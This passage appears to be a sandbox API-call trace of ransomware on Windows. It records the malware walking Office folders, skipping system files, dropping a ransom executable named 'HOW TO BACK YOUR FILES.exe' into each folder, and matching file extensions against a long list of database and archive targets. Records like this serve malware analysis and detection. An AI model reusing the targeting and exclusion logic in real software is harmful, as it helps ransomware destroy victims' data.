ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2=".") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="..") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="windows") returned -1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="bootmgr") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="temp") returned -1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="pagefile.sys") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="boot") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="ids.txt") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="ntuser.dat") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="perflogs") returned 1 [0065.107] lstrcmpiW (lpString1="PUB60COR", lpString2="MSBuild") returned 1 [0065.107] lstrlenW (lpString="PUB60COR") returned 8 [0065.107] lstrcpyW (in: lpString1=0x241e89c, lpString2="PUB60COR" | out: lpString1="PUB60COR") returned="PUB60COR" [0065.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c338 [0065.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x52ef90 [0065.107] lstrcatW (in: lpString1="PUB60COR", lpString2="\\" | out: lpString1="PUB60COR\\") returned="PUB60COR\\" [0065.107] lstrcatW (in: lpString1="PUB60COR\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="PUB60COR\\HOW TO BACK YOUR FILES.exe") returned="PUB60COR\\HOW TO BACK YOUR FILES.exe" [0065.107] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to back your files.exe"), bFailIfExists=1) returned 1 [0065.111] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2=".") returned 1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2="..") returned 1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2="windows") returned -1 [0065.111] lstrcmpiW (lpString1="Publisher", lpString2="bootmgr") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="temp") returned -1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="pagefile.sys") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="boot") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="ids.txt") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="ntuser.dat") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="perflogs") returned 1 [0065.112] lstrcmpiW (lpString1="Publisher", lpString2="MSBuild") returned 1 [0065.112] lstrlenW (lpString="Publisher") returned 9 [0065.112] lstrcpyW (in: lpString1=0x241e89c, lpString2="Publisher" | out: lpString1="Publisher") returned="Publisher" [0065.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2d8 [0065.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52f000 [0065.112] lstrcatW (in: lpString1="Publisher", lpString2="\\" | out: lpString1="Publisher\\") returned="Publisher\\" [0065.112] lstrcatW (in: lpString1="Publisher\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Publisher\\HOW TO BACK YOUR FILES.exe") returned="Publisher\\HOW TO BACK YOUR FILES.exe" [0065.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\how to back your files.exe"), bFailIfExists=1) returned 1 [0065.115] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0065.115] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0065.115] ReleaseMutex (hMutex=0xec) returned 1 [0065.115] CloseHandle (hObject=0xec) returned 1 [0065.115] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0065.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f730 | out: hHeap=0x4f0000) returned 1 [0065.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned 52 [0065.115] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C3F0D6C59407C67A195B5432E21EB0ED") returned 0xec [0065.115] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0065.115] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: lpString1="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0065.115] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0065.115] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\how to back your files.exe"), bFailIfExists=1) returned 0 [0065.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\document themes 14\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0065.116] GetLastError () returned 0x0 [0065.116] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0065.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x539d08 [0065.116] ReadFile (in: hFile=0xf4, lpBuffer=0x539d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x539d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0065.117] CloseHandle (hObject=0xf4) returned 1 [0065.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539d08 | out: hHeap=0x4f0000) returned 1 [0065.117] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0065.117] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0065.117] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.118] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.118] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0065.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbe88ce00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbe88ce00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.118] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.118] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.118] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0065.118] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0065.118] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".") returned 1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="..") returned 1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="windows") returned -1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="bootmgr") returned -1 [0065.118] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="temp") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="pagefile.sys") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="boot") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ids.txt") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="ntuser.dat") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="perflogs") returned -1 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2="MSBuild") returned -1 [0065.119] lstrlenW (lpString="Adjacency.thmx") returned 14 [0065.119] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Adjacency.thmx" | out: lpString1="Adjacency.thmx") returned="Adjacency.thmx" [0065.119] lstrlenW (lpString="Adjacency.thmx") returned 14 [0065.119] lstrlenW (lpString="Athena865") returned 9 [0065.119] lstrcmpiW (lpString1="ency.thmx", lpString2="Athena865") returned 1 [0065.119] lstrlenW (lpString=".dll") returned 4 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".dll") returned 1 [0065.119] lstrlenW (lpString=".lnk") returned 4 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".lnk") returned 1 [0065.119] lstrlenW (lpString=".ini") returned 4 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".ini") returned 1 [0065.119] lstrlenW (lpString=".sys") returned 4 [0065.119] lstrcmpiW (lpString1="Adjacency.thmx", lpString2=".sys") returned 1 [0065.119] lstrlenW (lpString="Adjacency.thmx") returned 14 [0065.119] lstrlenW (lpString="bak") returned 3 [0065.119] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.119] lstrlenW (lpString="ba_") returned 3 [0065.119] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.119] lstrlenW (lpString="dbb") returned 3 [0065.119] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.119] lstrlenW (lpString="vmdk") returned 4 [0065.119] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.119] lstrlenW (lpString="rar") returned 3 [0065.119] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.119] lstrlenW (lpString="zip") returned 3 [0065.119] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.119] lstrlenW (lpString="tgz") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.120] lstrlenW (lpString="vbox") returned 4 [0065.120] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.120] lstrlenW (lpString="vdi") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.120] lstrlenW (lpString="vhd") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.120] lstrlenW (lpString="vhdx") returned 4 [0065.120] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.120] lstrlenW (lpString="avhd") returned 4 [0065.120] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.120] lstrlenW (lpString="db") returned 2 [0065.120] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.120] lstrlenW (lpString="db2") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.120] lstrlenW (lpString="db3") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.120] lstrlenW (lpString="dbf") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.120] lstrlenW (lpString="mdf") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.120] lstrlenW (lpString="mdb") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.120] lstrlenW (lpString="sql") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.120] lstrlenW (lpString="sqlite") returned 6 [0065.120] lstrcmpiW (lpString1="y.thmx", lpString2="sqlite") returned 1 [0065.120] lstrlenW (lpString="sqlite3") returned 7 [0065.120] lstrcmpiW (lpString1="cy.thmx", lpString2="sqlite3") returned -1 [0065.120] lstrlenW (lpString="sqlitedb") returned 8 [0065.120] lstrcmpiW (lpString1="ncy.thmx", lpString2="sqlitedb") returned -1 [0065.120] lstrlenW (lpString="xml") returned 3 [0065.120] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.120] lstrlenW (lpString="$er") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.121] lstrlenW (lpString="4dd") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.121] lstrlenW (lpString="4dl") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.121] lstrlenW (lpString="^^^") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.121] lstrlenW (lpString="abs") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.121] lstrlenW (lpString="abx") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.121] lstrlenW (lpString="accdb") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.121] lstrlenW (lpString="accdc") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.121] lstrlenW (lpString="accde") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.121] lstrlenW (lpString="accdr") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.121] lstrlenW (lpString="accdt") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.121] lstrlenW (lpString="accdw") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.121] lstrlenW (lpString="accft") returned 5 [0065.121] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.121] lstrlenW (lpString="adb") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.121] lstrlenW (lpString="adb") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.121] lstrlenW (lpString="ade") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.121] lstrlenW (lpString="adf") returned 3 [0065.121] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.121] lstrlenW (lpString="adn") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.122] lstrlenW (lpString="adp") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.122] lstrlenW (lpString="alf") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.122] lstrlenW (lpString="ask") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.122] lstrlenW (lpString="btr") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.122] lstrlenW (lpString="cat") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.122] lstrlenW (lpString="cdb") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.122] lstrlenW (lpString="ckp") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.122] lstrlenW (lpString="cma") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.122] lstrlenW (lpString="cpd") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.122] lstrlenW (lpString="dacpac") returned 6 [0065.122] lstrcmpiW (lpString1="y.thmx", lpString2="dacpac") returned 1 [0065.122] lstrlenW (lpString="dad") returned 3 [0065.122] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.122] lstrlenW (lpString="dadiagrams") returned 10 [0065.122] lstrcmpiW (lpString1="cency.thmx", lpString2="dadiagrams") returned -1 [0065.122] lstrlenW (lpString="daschema") returned 8 [0065.122] lstrcmpiW (lpString1="ncy.thmx", lpString2="daschema") returned 1 [0065.122] lstrlenW (lpString="db-journal") returned 10 [0065.122] lstrcmpiW (lpString1="cency.thmx", lpString2="db-journal") returned -1 [0065.122] lstrlenW (lpString="db-shm") returned 6 [0065.122] lstrcmpiW (lpString1="y.thmx", lpString2="db-shm") returned 1 [0065.122] lstrlenW (lpString="db-wal") returned 6 [0065.122] lstrcmpiW (lpString1="y.thmx", lpString2="db-wal") returned 1 [0065.122] lstrlenW (lpString="dbc") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.123] lstrlenW (lpString="dbs") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.123] lstrlenW (lpString="dbt") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.123] lstrlenW (lpString="dbv") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.123] lstrlenW (lpString="dbx") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.123] lstrlenW (lpString="dcb") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.123] lstrlenW (lpString="dct") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dct") returned 1 [0065.123] lstrlenW (lpString="dcx") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dcx") returned 1 [0065.123] lstrlenW (lpString="ddl") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="ddl") returned 1 [0065.123] lstrlenW (lpString="dlis") returned 4 [0065.123] lstrcmpiW (lpString1="thmx", lpString2="dlis") returned 1 [0065.123] lstrlenW (lpString="dp1") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dp1") returned 1 [0065.123] lstrlenW (lpString="dqy") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dqy") returned 1 [0065.123] lstrlenW (lpString="dsk") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dsk") returned 1 [0065.123] lstrlenW (lpString="dsn") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dsn") returned 1 [0065.123] lstrlenW (lpString="dtsx") returned 4 [0065.123] lstrcmpiW (lpString1="thmx", lpString2="dtsx") returned 1 [0065.123] lstrlenW (lpString="dxl") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="dxl") returned 1 [0065.123] lstrlenW (lpString="eco") returned 3 [0065.123] lstrcmpiW (lpString1="hmx", lpString2="eco") returned 1 [0065.124] lstrlenW (lpString="ecx") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="ecx") returned 1 [0065.124] lstrlenW (lpString="edb") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="edb") returned 1 [0065.124] lstrlenW (lpString="epim") returned 4 [0065.124] lstrcmpiW (lpString1="thmx", lpString2="epim") returned 1 [0065.124] lstrlenW (lpString="fcd") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fcd") returned 1 [0065.124] lstrlenW (lpString="fdb") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fdb") returned 1 [0065.124] lstrlenW (lpString="fic") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fic") returned 1 [0065.124] lstrlenW (lpString="flexolibrary") returned 12 [0065.124] lstrcmpiW (lpString1="jacency.thmx", lpString2="flexolibrary") returned 1 [0065.124] lstrlenW (lpString="fm5") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fm5") returned 1 [0065.124] lstrlenW (lpString="fmp") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fmp") returned 1 [0065.124] lstrlenW (lpString="fmp12") returned 5 [0065.124] lstrcmpiW (lpString1=".thmx", lpString2="fmp12") returned -1 [0065.124] lstrlenW (lpString="fmpsl") returned 5 [0065.124] lstrcmpiW (lpString1=".thmx", lpString2="fmpsl") returned -1 [0065.124] lstrlenW (lpString="fol") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fol") returned 1 [0065.124] lstrlenW (lpString="fp3") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fp3") returned 1 [0065.124] lstrlenW (lpString="fp4") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fp4") returned 1 [0065.124] lstrlenW (lpString="fp5") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fp5") returned 1 [0065.124] lstrlenW (lpString="fp7") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fp7") returned 1 [0065.124] lstrlenW (lpString="fpt") returned 3 [0065.124] lstrcmpiW (lpString1="hmx", lpString2="fpt") returned 1 [0065.125] lstrlenW (lpString="frm") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="frm") returned 1 [0065.125] lstrlenW (lpString="gdb") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.125] lstrlenW (lpString="gdb") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="gdb") returned 1 [0065.125] lstrlenW (lpString="grdb") returned 4 [0065.125] lstrcmpiW (lpString1="thmx", lpString2="grdb") returned 1 [0065.125] lstrlenW (lpString="gwi") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="gwi") returned 1 [0065.125] lstrlenW (lpString="hdb") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="hdb") returned 1 [0065.125] lstrlenW (lpString="his") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="his") returned 1 [0065.125] lstrlenW (lpString="ib") returned 2 [0065.125] lstrcmpiW (lpString1="mx", lpString2="ib") returned 1 [0065.125] lstrlenW (lpString="idb") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="idb") returned -1 [0065.125] lstrlenW (lpString="ihx") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="ihx") returned -1 [0065.125] lstrlenW (lpString="itdb") returned 4 [0065.125] lstrcmpiW (lpString1="thmx", lpString2="itdb") returned 1 [0065.125] lstrlenW (lpString="itw") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="itw") returned -1 [0065.125] lstrlenW (lpString="jet") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="jet") returned -1 [0065.125] lstrlenW (lpString="jtx") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="jtx") returned -1 [0065.125] lstrlenW (lpString="kdb") returned 3 [0065.125] lstrcmpiW (lpString1="hmx", lpString2="kdb") returned -1 [0065.125] lstrlenW (lpString="kexi") returned 4 [0065.125] lstrcmpiW (lpString1="thmx", lpString2="kexi") returned 1 [0065.125] lstrlenW (lpString="kexic") returned 5 [0065.125] lstrcmpiW (lpString1=".thmx", lpString2="kexic") returned -1 [0065.126] lstrlenW (lpString="kexis") returned 5 [0065.126] lstrcmpiW (lpString1=".thmx", lpString2="kexis") returned -1 [0065.126] lstrlenW (lpString="lgc") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="lgc") returned -1 [0065.126] lstrlenW (lpString="lwx") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="lwx") returned -1 [0065.126] lstrlenW (lpString="maf") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="maf") returned -1 [0065.126] lstrlenW (lpString="maq") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="maq") returned -1 [0065.126] lstrlenW (lpString="mar") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mar") returned -1 [0065.126] lstrlenW (lpString="marshal") returned 7 [0065.126] lstrcmpiW (lpString1="cy.thmx", lpString2="marshal") returned -1 [0065.126] lstrlenW (lpString="mas") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mas") returned -1 [0065.126] lstrlenW (lpString="mav") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mav") returned -1 [0065.126] lstrlenW (lpString="maw") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="maw") returned -1 [0065.126] lstrlenW (lpString="mdbhtml") returned 7 [0065.126] lstrcmpiW (lpString1="cy.thmx", lpString2="mdbhtml") returned -1 [0065.126] lstrlenW (lpString="mdn") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mdn") returned -1 [0065.126] lstrlenW (lpString="mdt") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mdt") returned -1 [0065.126] lstrlenW (lpString="mfd") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mfd") returned -1 [0065.126] lstrlenW (lpString="mpd") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mpd") returned -1 [0065.126] lstrlenW (lpString="mrg") returned 3 [0065.126] lstrcmpiW (lpString1="hmx", lpString2="mrg") returned -1 [0065.126] 